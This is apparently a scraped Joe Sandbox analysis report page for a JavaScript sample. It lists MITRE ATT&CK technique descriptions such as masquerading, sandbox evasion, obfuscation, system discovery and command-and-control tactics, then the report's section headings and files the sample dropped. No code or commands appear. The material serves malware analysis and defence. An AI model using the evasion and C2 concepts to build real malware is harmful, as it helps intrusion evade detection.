Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 17231147702223410654.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8e4704ca-e5dd-486d-b2d4-abab11b770f0.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7300

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
17231147702223410654.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre